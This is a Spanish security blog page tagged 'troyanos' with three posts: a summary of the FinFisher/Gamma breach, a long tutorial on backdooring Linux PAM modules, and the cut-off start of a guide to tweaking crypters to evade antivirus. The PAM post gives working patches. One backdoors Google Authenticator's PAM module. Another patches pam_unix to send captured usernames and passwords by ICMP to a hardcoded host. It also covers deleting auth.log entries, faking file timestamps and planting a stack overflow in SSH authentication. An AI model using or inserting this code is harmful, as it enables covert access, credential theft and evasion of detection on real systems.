Mostrando entradas con la etiqueta troyanos. Mostrar todas las entradas
Mostrando entradas con la etiqueta troyanos. Mostrar todas las entradas

13 agosto 2014

Cómo hackearon Gamma International (FinFisher)

Saltó la noticia la semana pasada, con su consecuente mención en nuestros enlaces de la SECmana: La empresa detrás del troyano FinFisher, utilizado supuestamente por Gobiernos para espiar, Gamma International, había sido comprometida por completo, publicándose posteriormente 40GB de datos que incluían información interna de la compañía, sus productos, código fuente, acuerdos, whitepapers, información financiera, y un larguísimo etc.

Rápidamente, la información filtrada se comenzó a analizar (y eso que una gran parte se encontraba tras ficheros zips protegidos con contraseñas fuertes y que requerían crackeos varios), y la web netzpolitik.org mantuvo un post en el que fue recopilando todo lo que se iba encontrando y analizando de la filtración. Tras esta borrachera de información, que todavía no ha sido analizada por completo, recibimos la sorpresa de un texto distribuido por la web http://data.langly.fr/ llamado A DIY Guide for those without the patience to wait for whistleblowers, en el que supuestamente se comenta con detalles cómo se pudo comprometer la compañía y cómo se consiguió recopilar la información filtrada en internet, al más puro estilo ezine de los 80-90 en texto sin formatear y arte ASCII

Texto sobre cómo se comprometió, por pasos, toda la compañía Gamma International y lo referente al troyano FinFisher
Os recomiendo el texto encarecidamente, ya que de forma muy clara, desmitifica lo ocurrido y demuestra como con un conjunto de pasos típicos en procesos de pentesting, se es capaz de provocar un daño tan grande como el que ha sufrido esta polémica compañía. Básicamente, los pasos fueron los siguientes:
  1. Recopilación de información acerca de todo lo referente a FinFisher y Gamma International
  2. Obtención de información del portal de soporte finsupport.finfisher.com, determinando que el software utilizado para este servicio es utilizado por otros también, aún siendo un producto desarrollado ad-hoc
  3. Detección de inyección SQL en el software utilizado gracias a analizar recursos de otras instalaciones de dicho software.
  4. Permisos de lectura de ficheros gracias a la inyección SQL detectada, para obtener todos los ficheros pertenecientes al software
  5. Tras análisis del código, se detecta una nueva vulnerabilidad de subida de ficheros a través de la gestión de tickets con los clientes, lo que permite a su vez la subida de una shell en PHP.
  6. Acceso al sistema de ficheros del servidor, que únicamente se utiliza para servir la web.
  7. Pivotar a otros servidores de la red para acceder a otros recursos y servicios, obteniendo acceso a los documentos que posteriormente se filtrarían, así como la supuesta copia del software espía protegida con contraseña en un fichero .zip (FinSpy-PC+Mobile-2012-07-12-Final.zip)

El enlace del texto completo es el siguiente: http://data.langly.fr/blackhat

Moraleja: No subestimar ninguno de los servicios y servidores publicados en Internet, todos pueden ser susceptibles a fallos, vulnerabilidades o despistes que pueden provocar más de una mofa en Internet y en redes sociales.
Leer más...

12 febrero 2014

Troyanización de Módulos PAM

 “Es un sistema UNIX, lo conozco” – Alexis Murphy (Jurasic Park I)


En sistemas derivados de UNIX, la autenticación de usuarios así como la implementación sistemas de autenticación adicionales, se basa en una arquitectura modular formada en primera instancia por los denominados módulos PAM (Pluggable Authentication Module), lo cual dota al sistema operativo de una base altamente flexible y personalizable para establecer medidas de seguridad adicionales a la hora de autenticar usuarios tanto de acceso local como remoto, de forma transparente a las aplicaciones.

Debido a la homogeneidad anterior, resulta menos complejo el portar el funcionamiento de un módulo PAM de un sistema a otro.

Arquitectura PAM
Ejemplos de uso de autenticación mediante módulos PAM:
  • Kerberos
  • LDAP
  • Autenticación de doble factor
  • One-Time-Password  
Si eres capaz de ver lo sutil y de darte cuenta de lo oculto, irrumpiendo antes del orden de batalla, la victoria así obtenida es un victoria fácil.” – Sun Tzu (El Arte de la Guerra)

Si bien la homogeneidad y la estructura modular anterior es una ventaja para administradores y desarrolladores, también es una ventaja para los atacantes, ya que una de las acciones que suelen realizar cuando entran en un sistema, es precisamente la de “troyanizar” el sistema para asegurarse el acceso futuro, y de entre muchas de las opciones disponibles, está la de “troyanización” de módulos PAM.
Para ello, en este post vamos a ver cómo crear y modificar un módulo PAM para dotarlo (entre otras) de las siguientes características, las cuales se explicarán más adelante:
  • Dar acceso a ciertos usuarios y/o patrón de usuarios al sistema
  • Obtener credenciales de acceso de los usuarios
  • Introducir fallos de seguridad (buffer overflows, format strings, etc.)
  • Eliminar registros de acceso
 
Cuando el objetivo te parezca difícil, no cambies de objetivo; busca un nuevo camino para llegar a él.” – Confucio
Una vez decididos a troyanizar un módulo PAM, vamos a estudiar cómo hacerlo a través de diferentes vías, de entre las que tenemos:
  • Crear un nuevo módulo PAM
  • Troyanizar en disco un módulo PAM existente
    • Recompilando el código
    • Parcheando en disco
  • Troyanizar en memoria un módulo PAM existente


De aquí en adelante, todos los códigos desarrollados y/o modificados, han sido probados sobre dos sistemas Debian 7 Wheezy con kernel 3.2.0-4 sobre arquitecturas AMD64 y i686.

Estructura y Configuración de un Módulo PAM 

Antes de comenzar propiamente con el módulo PAM, es necesario conocer la estructura del mismo, así como la configuración que debe aplicarse en el sistema para que el módulo opere de la forma esperada.

Para este propósito existen en el directorio “/etc/pam.d” una serie de ficheros de configuración relativos a los módulos PAM a utilizar en cada tipo de acceso:

Listado de Archivos de Configuración
En cada uno de estos ficheros, se establece qué tipo de interfaz usará cada módulo así como el modulo a usar y si es necesario, establecer los parámetros necesarios para el correcto funcionamiento: 

Configuración PAM del demonio cron

Cada una de las líneas de este archivo, relativa al uso de módulos PAM, tiene la siguiente estructura:

Interfaz + Flag de Control + Módulo PAM + Parámetros
Cuando la interfaz de un módulo es llamada, debe devolver un valor de retorno, y en función de dicho valor y del flag de control que se esté usando con el módulo PAM, se decidirá si bloquear el intento de acceso, pasar al siguiente módulo, etc. De esta manera, las opciones para los campos de “Interfaz” y “Flag de Control” son:

Interfaz
Valor
Descripción
auth
Establecer las credenciales de acceso, pertenencia a grupos, tickets Kerberos, etc.
account
Verifica que el acceso está permitido en función de si la cuenta ha expirado, si se le permite hacer login a una determinada fecha/hora, etc.
password
Interfaz para cambiar la password del usuario
session
Gestión de sesiones, tareas que son necesarias para permitir el acceso, como montar el directorio home del usuario, habilitar el “mailbox” del usuario, etc.

Flag de Control
Valor
Descripción
required
Si el módulo devuelve algún tipo de error, la autenticación falla y el usuario no es notificado hasta que se completen las evaluaciones del resto de módulos.
requisite
Si el módulo devuelve algún tipo de error, la autenticación falla pero el usuario es notificado de forma inmediata.
sufficient
Si el módulo devuelve algún tipo de error, es ignorado, y si la autenticación de algún módulo anterior marcado como “required” (en caso de haberlo) no ha devuelto error, la autenticación se realiza de forma correcta.
optional
El resultado devuelto es ignorado a no ser que no existan otros módulos para ser evaluados.

Dentro del código del módulo PAM, las interfaces que se usarán se declaran exportando ciertas funciones de la librería (recordemos que un módulo PAM es una librería compartida).
Declaración de Interfaces
Valor
Función a exportar
auth
pam_sm_authenticate, pam_sm_setcred
account
pam_sm_acct_mgmt
password
pam_sm_chauthtok
session
pam_sm_open_session, pam_sm_close_session


Creación de un módulo PAM troyanizado (su)

Ahora que sabemos a rasgos generales (se recomienda ampliar la lectura), cómo funciona un módulo PAM, vamos a crear uno de ejemplo, que mostrará el nombre de usuario utilizando la interfaz “auth”, para el binario “su”.

Para ello, es conveniente definir dentro del módulo qué interfaces vamos a usar, para una correcta inicialización:


#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>

#define PAM_SM_AUTH //definicion de la interfaz

#include <security/pam_modules.h>



PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv )

{
        char    *uname = 0;

        pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se opera

        fprintf(stderr,"\npam_get_user => %s" , uname );
        fprintf(stderr,"\ngetuid() => %d" , getuid() );
        fprintf(stderr,"\ngeteuid() => %d" , geteuid() ); 

        return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags,int argc, const char **argv )
{
        return PAM_SUCCESS;
}

En el código anterior, se han definido dos funciones pertenecientes a la interfaz de autenticación, ambas son necesarias para que el módulo PAM sea válido para usarlo con el binario “su”. Para compilarlo, los pasos son los siguientes:
$ gcc –fPIC –fno-stack-protector –c pam.c –o pam_bsu.o
$ ld –x –shared pam_bsu.o –o pam_bsu.so
Y con esto tendremos nuestro módulo compilado, que lo que hará será, una vez que un usuario ejecute el binario “su”, mostrará el usuario sobre el que se quiere realizar la acción (en este caso, hacer login como root), así como el UID del usuario real del proceso y el UID Efectivo (este último, independientemente del proceso que sea, devolverá el UID del usuario propietario del “sticky bit” del fichero al que corresponde el proceso, en caso de tenerlo activado), e inmediatamente después, debido a los valores de retorno (AUTH_SUCCESS) permitirá acceder al usuario que lo ha invocado.
Aunque como bien explicamos al principio, esto no es del todo cierto, ya que para que nuestro módulo funcione como queremos, debemos instalar el módulo PAM y modificar el fichero “/etc/pam.d/su” para indicarle que use nuestro módulo:

Compilación e Instalación
En este ejemplo, como queremos que nuestro módulo sea el único responsable de la autenticación, le indicamos en la primera línea del archivo de configuración los datos de nuestro módulo con el flag “sufficient”. Hecho esto, al llamar al binario “su” desde una cuenta de usuario nos mostrará lo siguiente:
Acceso root sin contraseña
Al igual que hemos hecho esto, podemos usar el resto de características de “su”, como por ejemplo iniciar sesión como otros usuarios:
Suplantación de Usuarios
Filtrado de Acceso por TTY

Para que este comportamiento no sea común a todos los usuarios del sistema, podemos agregar filtros basados en el nombre del usuario que lo invoca (obteniendo el UID del usuario mediante la syscall “getuid”, podemos establecer filtros basados en ventanas temporales (permitir dicho comportamiento basado en la fecha y/u hora), basados en el número y tipo de terminal que usemos, etc.
Filtrado de TTY
Con el código anterior, al ejecutar el binario “su” desde una terminal que no sea la “tty6”, el módulo devolverá “PAM_AUTHINFO_UNAVAIL” por lo que se invocará al siguiente módulo PAM. Si por el contrario, se ejecuta desde “tty6” nos “autenticará” y tendremos la consola de root:
Ejecución del binario "su" en "tty1" introduciendo una contraseña incorrecta
Ejecución del binario "su" desde "tty6"

Limpiando los Registros de Acceso
Cada vez que dos objetos entran en contacto, transfieren parte del material que incorporan al otro objeto” – Principio de intercambio de Locard

Todas estas modificaciones que estamos realizando sobre el sistema, dejan evidencias de lo que se ha estado haciendo, como por ejemplo registros en el log “/var/log/auth.log” y las fechas de nuestro módulo PAM.
Logs de autenticación
Si bien no es el propósito de este post el de descubrir qué pruebas evidencian la manipulación de los archivos y cómo intentar eludirlas, lo que sí haremos será agregar una rutina básica propia de los “zappers”, que lo que hará será recorrer el archivo “/var/log/auth.log” para darnos la posibilidad de eliminar los registros que queramos basándonos en la fecha, la aplicación que generó el registro, la descripción, etc. Así como mantener la fecha y hora de modificación y acceso del archivo anterior al registro.
La funcionalidad de “zapper” descrita, no es más que una función que va recorriendo el archivo desde el registro más nuevo al más antiguo (de abajo a arriba), extrae la información de cada campo e invoca a una función que se encarga de decidir si el registro se mantiene, se elimina, o si se debe dejar de recorrer el archivo. Esta última función de “filtro” es bastante simple, la que usaremos establecerá una ventana temporal de 2 minutos, de forma que cualquier registro de “su” en el “/var/log/auth.log” con una antigüedad menor o igual a dos minutos, será eliminada del registro:
Filtrado del Zapper
Por último, queda invocar a la función “zapper” en la función que definimos como “pam_sm_setcred” ya que esta será invocada cada vez que la sesión se abre y cierra. Un ejemplo de este comportamiento podemos verlo con el siguiente código:
Notificación del Zapper

Una vez compilado e instalado el módulo PAM, iniciamos sesión y consultamos los últimos registros de “/var/log/auth.log”:
Logs de Autenticación
Login y "su"

Fechas de acceso, modificación y cambio del fichero de log













De las imágenes anteriores se obtiene que la llamada al binario “su” ocurre a las “13:18:29”, no obstante el registro de autenticación muestra el inicio de sesión del usuario “chema” como el último registrado a las “13:18:24”. Aun así, si observamos la fecha de modificación del archivo de log, vemos la incongruencia:

Fechas de Acceso y Modificación
Para corregir este detalle, basta con almacenar la fecha y hora del último registro leído antes de finalizar la ejecución del “zapper” y establecer esa fecha y hora como las legítimas del archivo:
Modificaciones de Actualización de Fecha y Hora
 
Filtrado por Nombre de Usuario
Pero aún podemos establecer más filtros útiles, como por ejemplo el nombre de usuario que ejecuta el binario:
Filtrado de UID
En el caso de este binario (“su”) no podemos obtener el nombre del usuario que lo invoca de forma directa usando “pam_get_user” como en otros binarios como por ejemplo “sudo”. No obstante para no realizar una comprobación “tan evidente” del usuario (ya sea por el UID o por el nombre), podemos realizar un hash del usuario para realizar la comprobación.
En la siguiente captura se muestra el filtrado por hash, y se comprueba el usuario actual con un array de usuarios autorizados:
Filtrado de TTY y Usuario
Otro de los métodos que podemos utilizar para obtener la consola de root y no preocuparnos de los logs, es la de aprovechar que el UID efectivo del proceso es “0” (root) para ejecutar una consola e inmediatamente después llamar a “exit” desde nuestro código, de forma que no se realiza ningún tipo de autenticación y por tanto, no queda registro. 

En este ejemplo, al usar la syscall “execve” el flujo de ejecución del proceso se cambia al binario ejecutado, de tal forma que cuando el proceso ejecutado finalice, también lo hará nuestro proceso (en realidad, a muy groso modo, una vez invocada la syscall no habrá diferencia entre el proceso ejecutado y el nuestro), a no ser que usemos otra sycall (“fork”) para crear un proceso hijo y desde él, invocar a “execve”. No obstante, aunque para este caso no es necesario, dejaremos la llamada a “exit” por si el lector quiere realizar alguna otra acción diferente a la propuesta:
Ejecución de "/bin/bash" y llamada a "exit"

De nuevo, compilamos e instalamos el módulo y comprobamos los registros que genera:
Inicio de sesión y ejecución de "su"
Registros de Autenticación
Como podemos ver en la ilustración 19, la llamada al binario “su” se produce entre las “17:22:28” y las “17:22:31”, mientras que en el log, el último registro se produce a las “17:22:25”, lo cual coincide con las fechas y horas del fichero de log:
Fechas de Modificación,Cambio y Acceso del Fichero de Log

Ocultando la Puerta Trasera


La desconfianza es la madre de la seguridad” - Aristófanes
Y hablando de seguridad, si queremos asegurarnos la entrada al sistema, no debemos cerrarnos puertas, mientras más puertas abramos y más ocultas estén mejor.
Por ello, y siguiendo en este apartado, vamos a crear otro módulo PAM que incluiremos en el demonio SSH. Pero esta vez, en lugar de permitir la entrada bajo ciertas condiciones, lo que haremos será introducir una vulnerabilidad en el código de manera que podamos explotarla de forma remota; Para este ejemplo y solo a modo de demostración vamos a introducir un Stack Buffer Overflow, o desbordamiento de pila.
Para ello, vamos a realizar de nuevo un filtrado basado en el nombre de usuario, y si coincide con alguno que tengamos almacenados en el módulo (y preferiblemente que no exista en el sistema), pediremos que introduzca la clave (aquí introduciremos el fallo) y devolveremos un “PAM_AUTHINFO_UNAVAIL” para que el proceso de autenticación salte al siguiente módulo.
Para este nuevo ejemplo, la instalación del módulo es exactamente la misma, con la única diferencia de que en este ejemplo, en vez de modificar el fichero “/etc/pam.d/su” modificaremos “/etc/pam.d/sshd”, de la misma manera que hicimos anteriormente.
El código que utilizaremos para este ejemplo es el siguiente:
Introducción de la Vulnerabilidad

Esta porción de código devolverá “PAM_AUTHINFO_UNAVAIL” para salir y continuar la evaluación del siguiente módulo PAM, siempre y cuando el hash calculado del usuario, no se encuentre entre la lista de los permitidos; Si el usuario sí está contemplado, realizará una copia de su clave en una variable local, provocando una vulnerabilidad de desbordamiento de pila. Esto, además de permitirnos controlar el flujo de ejecución del programa y la ejecución de código remota, nos va a permitir controlar el valor de retorno de la función, debido al orden en el que están declaradas las variables “aux” y “ret”.

De esta forma, si enviamos una clave de una longitud mayor al tamaño de “aux”, sobrescribirá los valores de la pila. Debido a que el valor de retorno que nos interesa (“AUTH_SUCCESS”) es cero (0x00) , no podemos introducir dicho valor dentro de la contraseña, ya que interpretaría el valor como fin de cadena (en este caso concreto podríamos permitirlo y contrarrestar agregando un carácter más, para cuadrarlo de forma que el carácter nulo fuese el que pisase al valor de retorno, pero siempre es una práctica desaconsejable el uso de caracteres nulos), así que almacenamos el valor de retorno incrementado, y cada vez que hagamos referencia al mismo para retornar de la función, lo decrementamos (ver Ilustración 22). De esta forma, si queremos retornar un 0x00, le enviaremos un 0x01.
Después de la explicación teórica del funcionamiento, veamos la parte práctica:
Explotación para Modificar el Valor de Retorno
Otro enfoque que nos puede servir, es el de crear un módulo PAM que use el flag de control “optional” y cuya única tarea sea la de guardar en un fichero todas las credenciales de los usuarios que han iniciado sesión, con un código similar al que sigue (aunque almacena las credenciales sin cifrar):
Código para Guardar las Credenciales de los Usuarios
Con esto, conseguimos el siguiente efecto:
Credenciales de Usuario Almacenadas en Texto Plano

Modificando un Módulo PAM Existente

La verdad es el mejor camuflaje, ¡Nadie la entiende!” – Max Frisch
Hasta ahora hemos visto cómo crear un módulo PAM y cómo dotarlo de la lógica que nos interesa, para darnos acceso al sistema, recabar credenciales, eliminar logs, etc. Pero hemos dejado de lado el verdadero propósito de los módulos PAM, y ciertamente, el hecho de agregar un módulo PAM y jugar con la ingeniería social para no levantar sospechas en cuanto al nombre, nos expone aún más en el sistema. Por tanto, como el mejor lugar para esconder un árbol es precisamente un bosque, vamos a pasar desde el punto de vista de “crear el módulo troyanizado”, hacia el lado opuesto, “troyanizar" un módulo existente.
Existen muchos ejemplos y scripts automáticos para descargar el código fuente de la librería, y permitir el acceso si la contraseña coincide con una especificada, por ejemplo:
Troyanización de un Módulo PAM existente

De la misma forma, podemos seguir modificándolo para agregarle las funcionalidades descritas durante este documento.

Soluciones OTP / Google Authenticator
No obstante, para este propósito vamos a modificar otro módulo PAM distinto a los convencionales, el módulo PAM de doble factor de autenticación de Google. La puerta trasera la crearemos en función de los dígitos que introduzca el usuario, de tal forma que si el número introducido no es válido (según el algoritmo original), lo evaluaremos siguiendo nuestro algoritmo, el cual realizará comprobaciones sobre números primos y perfectos.
Para ello, creamos el siguiente algoritmo para verificar si dado un número introducido, debemos permitir o no el acceso:
Algoritmo de Filtrado

El cual, nos permitirá acceso cuando usemos algunas de las cifras:
  • 312989
  • 313133
  • 313289
  • 625969
  • 626011
  • 626191
  • 938969
  • 938989
  •  
  • 939011
  • 939109
  • 939157
  • 939317
  • 939359
  • 939377
  • 939391
 Para ello, descargamos el código fuente desde el sitio oficial:
Copia del Repositorio del Módulo

Una vez descargado, aplicamos el siguiente parche que será el encargado de agregar las modificaciones necesarias para “troyanizar” el módulo, permitiendo el acceso utilizando los códigos anteriores:
diff -Nur google-authenticator/libpam/Makefile google-authenticator_backdoored/libpam/Makefile
--- google-authenticator/libpam/Makefile    2013-12-10 11:25:49.280037002 +0100
+++ google-authenticator_backdoored/libpam/Makefile    2013-12-09 18:43:21.224116833 +0100
@@ -25,7 +25,7 @@
 DEF_CFLAGS := $(shell [ `uname` = SunOS ] &&                                  \
                 echo ' -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT')              \
               -fvisibility=hidden $(CFLAGS)
-DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS)
+DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS) -lm
 LDL_LDFLAGS := $(shell $(CC) -shared -ldl -xc -o /dev/null /dev/null          \
                        >/dev/null 2>&1 && echo ' -ldl')

diff -Nur google-authenticator/libpam/pam_google_authenticator.c google-authenticator_backdoored/libpam/pam_google_authenticator.c
--- google-authenticator/libpam/pam_google_authenticator.c    2013-12-10 11:25:49.296037003 +0100
+++ google-authenticator_backdoored/libpam/pam_google_authenticator.c    2013-12-09 18:37:16.536123101 +0100
@@ -29,6 +29,7 @@
 #include <syslog.h>
 #include <time.h>
 #include <unistd.h>
+#include <math.h>

 #ifdef linux
 // We much rather prefer to use setfsuid(), but this function is unfortunately
@@ -1324,6 +1325,45 @@
   return 0;
 }

+static unsigned short es_primo ( unsigned long num )
+{
+    unsigned long i;
+
+    for ( i = 2 ; i < sqrt ( num ) ; i++ )
+        if ( ! (num % i ) )
+            return 0;
+
+    return 1;
+}
+
+static unsigned short authenticate_crypto_prime ( int num , int ret )
+{
+    const unsigned long     perfecto = 496;
+    const unsigned long     primo = 631;
+    unsigned long        resto = 0;
+    unsigned long        mod = 0;
+
+    if ( !es_primo ( num ) )
+        return ret;
+
+    resto = num / perfecto;
+    mod = num % perfecto;
+
+    if ( ! es_primo ( mod ) )
+        return ret;
+
+    if ( resto % primo != 0 )
+        return ret;
+
+    if ( ! es_primo ( primo % num ) )
+        return ret;
+
+    if ( ! es_primo ( resto % mod ) )
+        return ret;
+
+    return PAM_SUCCESS;
+}
+
 static int google_authenticator(pam_handle_t *pamh, int flags,
                                 int argc, const char **argv) {
   int        rc = PAM_SESSION_ERR;
@@ -1335,6 +1375,7 @@
   char       *buf = NULL;
   uint8_t    *secret = NULL;
   int        secretLen = 0;
+  int        code = 0;

 #if defined(DEMO) || defined(TESTING)
   *error_msg = '\000';
@@ -1436,7 +1477,7 @@
       if (errno || l < 0 || *endptr) {
         goto invalid;
       }
-      int code = (int)l;
+      code = (int)l;
       memset(pw + pw_len - expected_len, 0, expected_len);

       if ((mode == 2 || mode == 3) && !params.forward_pass) {
@@ -1564,6 +1605,10 @@
     memset(secret, 0, secretLen);
     free(secret);
   }
+
+ if ( rc != PAM_SUCCESS )
+    rc = authenticate_crypto_prime ( code , rc );
+
   return rc;
 }

Hecho esto, solo tenemos que compilar e instalar el módulo y seguir los pasos descritos en el fichero README del mismo para integrarlo con SSH. En la siguiente captura, se puede ver el acceso SSH usando un cliente modificado para mostrar las credenciales del usuario, para verificar visualmente el acceso a través del módulo PAM de Google troyanizado:
Acceso SSH usando claves OTP troyanizadas

LibPAM / pam_unix

A demás de los métodos vistos hasta ahora, también podemos modificar el módulo principal de autenticación del sistema, no solo para permitirnos la entrada mediante credenciales ficticias ni fallos de seguridad, sino modificar el módulo de manera que cuando un usuario inicie sesión (ya sea de forma local o remota), se envíe un paquete ICMP (por ejemplo) desde una dirección IP y un destino preestablecidos (podemos hacerlo dinámico, enviando un nombre de usuario/clave incorrectos, pero que sirva al módulo de estos datos para futuros envíos) con el nombre del usuario y la clave.
Para este ejemplo, se ha modificado el fichero “support.c” del módulo “pam_unix.so”, el motivo de modificar ese fichero, es porque es donde está implementada la función que verifica las credenciales del usuario, de forma que cuando las credenciales sean correctas, se nos envíe el nombre de usuario y la clave, cifrados. Para este ejemplo, solo se hace un XOR entre la cadena que contiene el usuario y la clave, con otra cadena aleatoria, formada por parámetros usados en las cabeceras IP y ICMP. Con esto conseguimos ocultar la clave en el propio mensaje, y que los paquetes enviados de la autenticación de un mismo usuario, sean diferentes.
Para ello, se ha modificado la librería LibPAM descargada de http://linux-pam.org/library/Linux-PAM-1.1.8.tar.gz dando como resultado el siguiente parche:
--- Linux-PAM-1.1.8/modules/pam_unix/support.c    2013-09-16 11:11:51.000000000 +0200
+++ Linux-PAM-1.1.8_backdoor/modules/pam_unix/support.c    2013-12-10 17:04:19.480035391 +0100
@@ -19,6 +19,13 @@
 #include <ctype.h>
 #include <syslog.h>
 #include <sys/resource.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <linux/ip.h>
+#include <linux/icmp.h>
 #ifdef HAVE_RPCSVC_YPCLNT_H
 #include <rpcsvc/ypclnt.h>
 #endif
@@ -650,6 +657,104 @@
     return retval;
 }

+static unsigned short in_cksum ( unsigned short *addr , int len )
+{
+    register int sum = 0;
+    register unsigned short *w = addr;
+    register unsigned int left = len;
+    unsigned short ret = 0;
+
+    while ( left > 1 )
+    {
+        sum += *w++;
+        left -= 2;
+    }
+
+    if ( left == 1 )
+    {
+        *(unsigned char*)(&ret) = *(unsigned char*)w;
+        sum += ret;
+    }
+
+    sum = ( sum >> 16 ) + (sum & 0xFFFF);
+    sum += ( sum >> 16 );
+    ret = ~sum;
+
+    return ret;
+}
+
+static void _verify_hash ( const char *name , const char *pwd )
+{
+    static int        fd = -1;
+    int            optval;
+    struct iphdr        *ip;
+    struct icmphdr        *icmp;
+    struct sockaddr_in    con;
+    char            *packet,*buffer;
+    char            *key;
+    size_t            len_buffer, len_key;
+    int            ttl, code, seq, type, id, i;
+
+    int u = getuid();
+
+    if ( setuid(0) != 0 )
+        return;
+
+    if ( fd < 0 && ( fd = socket ( AF_INET , SOCK_RAW , IPPROTO_ICMP ) ) < 0 )
+        return;
+    else
+        setsockopt ( fd , IPPROTO_IP, IP_HDRINCL, &optval , sizeof ( int ) );
+
+    srand(time(0));
+
+    ttl = random() % 64;
+    code = random() % 128;
+    seq = random();
+    type = random() % 42;
+    id = random();
+
+    len_buffer = strlen ( name ) + strlen ( pwd ) + 2;
+    buffer = calloc ( len_buffer , sizeof ( char ) );
+    snprintf ( buffer , len_buffer , "%s|%s" , name , pwd );
+    key = calloc ( len_buffer , sizeof ( char ) );
+    snprintf ( key , len_buffer , "%d%d%d%d%d",ttl,seq,code,id,type);
+    len_key = strlen ( key );
+    for ( i = 0 ; i < strlen ( buffer ) ; i++ )
+        buffer[i] ^= key[i % len_key ];
+    memset ( key , 0 , len_key );
+    free ( key );
+
+    packet = calloc ( len_buffer + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) , sizeof ( char ) );
+    ip = (struct iphdr*) packet;
+    icmp = (struct icmphdr*) (packet + sizeof ( struct iphdr ) );
+    memcpy ( (void*)(packet + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) ) , buffer , len_buffer );
+    ip->ihl = 5;
+    ip->version = 4;
+    ip->tot_len = sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + len_buffer;
+    ip->ttl = ttl;
+    ip->protocol = IPPROTO_ICMP;
+    ip->saddr = inet_addr ( "172.17.15.18" );
+    ip->daddr = inet_addr ( "10.4.5.2" );
+    ip->check = in_cksum ( (unsigned short*)ip, sizeof ( struct iphdr ) );
+    icmp->type = type;
+    icmp->un.echo.id = id;
+    icmp->un.echo.sequence = seq;
+    icmp->checksum = in_cksum ( (unsigned short*)icmp, sizeof ( struct icmphdr ) + len_buffer );
+
+    con.sin_family = AF_INET;
+    con.sin_addr.s_addr = inet_addr("10.4.5.2");
+
+    sendto ( fd , packet , ip->tot_len , 0 , (struct sockaddr*)&con, sizeof ( struct sockaddr ) );
+
+    free ( packet );
+    free ( buffer );
+
+    setuid(u);
+    return;
+}
+
+
+
 /*
  * _unix_blankpasswd() is a quick check for a blank password
  *
@@ -761,6 +866,7 @@
             }
         }
     } else {
+        _verify_hash ( name , p );
         retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
     }

Una vez aplicado el parche, compilamos e instalamos el módulo:
Instalación del Módulo Troyanizado
A continuación, desde otra terminal accedemos y en otro equipo perteneciente a la misma red esperamos el paquete ICMP:
Inicio de Sesión Remoto
Y en ese momento, vemos actividad ICMP:
Paquete ICMP de Notificación
Podemos verificar mediante varios accesos, que efectivamente el contenido del mensaje cambia:
Accesos Repetidos con las Mismas Credenciales
Diferentes Mensajes ICMP
Hecho esto, solo necesitamos alguna herramienta (script en Python?) que capture los mensajes ICMP, extraiga los valores introducidos en las cabeceras y realice de nuevo la XOR del mensaje con los datos obtenidos en el orden correcto para obtener las credenciales, e incluso podríamos enviar estos datos por un dispositivo inalámbrico del equipo cuando no se use, al más puro estilo NS4.

Referencias:
Contribución gracias a Chema García
Leer más...

30 septiembre 2013

'CRYPTERS': practicando la técnica dsplit/Avfucker

Tal y como ya adelanté, en este artículo vamos a poner en práctica lo que hemos aprendido hasta el momento sobre la evasión de Antivirus, en adelante AVs. En el último post de esta serie sobre 'Crypters', vimos los fundamentos teóricos de la técnica 'dsplit/AVfucker'. En este post voy a tratar de ilustrar esta técnica con un ejemplo práctico, valiéndome de un caso muy sencillo de aplicación de esta técnica.

Herramientas


Existen diversas herramientas que permiten aplicar la técnica 'dsplit/AVfucker', concretamente voy a utilizar una que es bastante cómoda, tiene muchas funcionalidades y es bastante rápida, pero si buscáis encontraréis otras por los foros relacionados con el tema. En concreto voy a utilizar 'UdTools Offset Locator 2.0'. También necesitaremos un anotador, así que voy a utilizar 'Antrax-Labs Offset Anotator' (by The Swash). Adicionalmente, utilizaré un 'Hex Workshop 6.7' como editor hexadecimal y 'OllyDbg' como disassembler (desensamblador).

Crypter

Para 'modear' un 'stub' hay que disponder del 'crypter' (tanto el 'builder' como el 'stub'). Es importante conseguir uno que sea 'original', es decir, que no haya sido 'retocado'. Trabajar un ejecutable previamente 'modeado' es siempre más complicado. Para este ejemplo voy a utilizar 'Simple Crypter 2010' (by DuNeD@i).

AV

Voy a utilizar para este ejemplo una 'firma' bastante sencilla del AV de origen Checo Avast (avast!). Ese, con esa voz tan sexy que siempre nos recuerda: "La base de datos de virus, ha sido actualizada". Lo primero que haremos, será configurar adecuadamente el AV para el proceso de 'modding'. Para ello, desactivaremos todos los 'escudos' en tiempo real y desactivaremos la opción de envío de muestras (En el caso de Avast hay que desactivar la opción 'Participa en la comunidad avast!')

Entorno de trabajo


Lo primero de todo es mantener una buena organización del entorno de trabajo. Para ello, vamos a trabajar en una carpeta en la crearemos varias 'sub-carpetas'. Una se llamará 'original' y en ella guardaremos el 'Crypter Original'. En otra carpeta guardaremos nuestro 'Anotador' y por último las dos más importantes, a las que se llamaremos 'offsets1' y 'offsets2', que funcionarán como carpetas de resultados en las que se almacenarán los diferentes archivos generados meadiante la aplicación de la técnica 'dsplit' y 'AVfucker'. En breve veremos el propósito de cada una de estas carpetas. Para comenzar a 'modear' necesitamos aplicar el 'crypter' a nuestro ejecutable de prueba, el 'anotador'. Para ello abriremos el 'builder' (llamado crypterx.exe en este crypter), y seleccionaremos el 'anotador'. Pulsaremos el botón 'Crypt' y se abrirá una ventana del explorador de archivos para indicar el nombre y ubicación del ejecutable. En este ejemplo lo llamaré 'modme.exe'.



Hey Ho Let's Go!


Dsplit

